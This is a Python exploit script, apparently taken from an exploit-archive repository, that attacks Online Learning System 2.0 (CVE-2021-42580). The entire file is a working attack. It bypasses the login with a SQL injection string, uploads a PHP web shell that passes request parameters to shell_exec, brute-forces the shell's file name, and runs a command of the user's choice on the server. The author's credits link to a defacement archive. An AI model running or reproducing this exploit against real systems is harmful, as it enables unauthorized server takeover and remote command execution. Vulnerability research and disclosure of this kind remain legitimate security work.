11900b8459
2 changes to exploits/shellcodes Online Learning System 2.0 - Remote Code Execution (RCE) CMDBuild 3.3.2 - 'Multiple' Cross Site Scripting (XSS)
110 lines
No EOL
4.1 KiB
Python
Executable file
110 lines
No EOL
4.1 KiB
Python
Executable file
# Exploit Title: Online Learning System 2.0 - Remote Code Execution (RCE)
|
|
# Date: 15/11/2021
|
|
# Exploit Author: djebbaranon
|
|
# Vendor Homepage: https://github.com/oretnom23
|
|
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/elearning_v2_0.zip
|
|
# Version: 2.0
|
|
# Tested on: Kali linux / Windows 10
|
|
# CVE : CVE-2021-42580
|
|
|
|
#!/usr/bin/python3
|
|
import os
|
|
import time
|
|
import argparse
|
|
import requests
|
|
import sys
|
|
from colorama import init
|
|
from colorama import Fore
|
|
from colorama import Back
|
|
from colorama import Style
|
|
init(autoreset=True)
|
|
def banner():
|
|
print('''
|
|
|
|
_____ _ _ _ _ _____ ______ _____ _____
|
|
| _ | | (_) | | (_) / __ \ | ___ / __ | ___|
|
|
| | | |_ __ | |_ _ __ ___ | | ___ __ _ _ __ _ __ _ _ __ __ _ __ _`' / /' | |_/ | / \| |__
|
|
| | | | '_ \| | | '_ \ / _ \ | |/ _ \/ _` | '__| '_ \| | '_ \ / _` | \ \ / / / / | /| | | __|
|
|
\ \_/ | | | | | | | | | __/ | | __| (_| | | | | | | | | | | (_| | \ V /./ /___ | |\ \| \__/| |___
|
|
\___/|_| |_|_|_|_| |_|\___| |_|\___|\__,_|_| |_| |_|_|_| |_|\__, | \_/ \_____/ \_| \_|\____\____/
|
|
__/ |
|
|
|___/
|
|
Written by djebbaranon
|
|
twitter : @dj3bb4ran0n1
|
|
zone-h : http://zone-h.org/archive/notifier=djebbaranon
|
|
''')
|
|
banner()
|
|
def my_args():
|
|
parser = argparse.ArgumentParser(epilog="Example : python3 -u http://localhost/elearning -r 1000 -c whoami")
|
|
parser.add_argument("-u","--url",type=str,required=True,help="url of target")
|
|
parser.add_argument("-r","--range",type=int,required=True,help="range for bruteforce the webshell name")
|
|
parser.add_argument("-c","--command",type=str,required=True,help="command to execute")
|
|
my_arguments = parser.parse_args()
|
|
return my_arguments
|
|
def login_with_sqli_login_bypass(user,passw):
|
|
global session
|
|
global url
|
|
global cookies
|
|
url = my_args().url
|
|
session = requests.Session()
|
|
data = {
|
|
"username" : user,
|
|
"password" : passw,
|
|
}
|
|
try:
|
|
response = session.post(url + "/classes/Login.php?f=login",data=data,verify=False)
|
|
print( Fore.GREEN + "[+] Logged in succsusfully")
|
|
cookies = response.cookies.get_dict()
|
|
print("[+] your cookie : ")
|
|
except requests.HTTPError as exception:
|
|
print(Fore.RED + "[-] HTTP Error : {}".format(exception))
|
|
sys.exit(1)
|
|
login_with_sqli_login_bypass("' or 1=1 -- -","' or 1=1 -- -")
|
|
def main(shell_name,renamed_shell):
|
|
try:
|
|
payload ={
|
|
"id" : "",
|
|
"faculty_id" : "test",
|
|
"firstname" : "test",
|
|
"lastname" : "test",
|
|
"middlename" : "fsdfsd",
|
|
"dob" : "2021-10-29",
|
|
"gender": "Male",
|
|
"department_id" : "1",
|
|
"email" : "zebi@gmail.com",
|
|
"contact" : "zebii",
|
|
"address" : "zebii",
|
|
}
|
|
files = {
|
|
"img" :
|
|
(
|
|
shell_name,
|
|
"<?php echo \"<pre><h1>nikmok</h1>\" . shell_exec($_REQUEST['cmd']) . \"</pre>\"?>",
|
|
"application/octet-stream",
|
|
)
|
|
}
|
|
vunlerable_file = "/classes/Master.php?f=save_faculty"
|
|
print("[*] Trying to upload webshell ....")
|
|
response_2 = session.post(url + vunlerable_file,data=payload,cookies=cookies,files=files)
|
|
print("[+] trying to bruteforce the webshell ....")
|
|
rangee = my_args().range
|
|
for i in range(0,rangee):
|
|
try:
|
|
with requests.get(url + "/uploads/Favatar_" + str(i) + ".php?cmd=whoami",allow_redirects=False) as response3:
|
|
if "nikmok" in response3.text and response3.status_code == 200:
|
|
print("\n" + Fore.GREEN + "[+] shell found : " + response3.url +"\n")
|
|
break
|
|
with open("shell.txt",mode="w+") as writer:
|
|
writer.write(response3.url)
|
|
else:
|
|
print( Fore.RED + "[-] shell not found : " + response3.url)
|
|
except requests.HTTPError as exception2:
|
|
print("[-] HTTP Error : {0} ".format(exception2))
|
|
except requests.HTTPError as error:
|
|
print("[-] HTTP Error : ".format(error))
|
|
command = my_args().command
|
|
with requests.get(response3.url.replace("whoami",command)) as response4:
|
|
print("[*] Executing {} ....".format(command))
|
|
time.sleep(3)
|
|
print("\n" + Style.BRIGHT + Fore.GREEN + response4.text)
|
|
main("hackerman.php","") |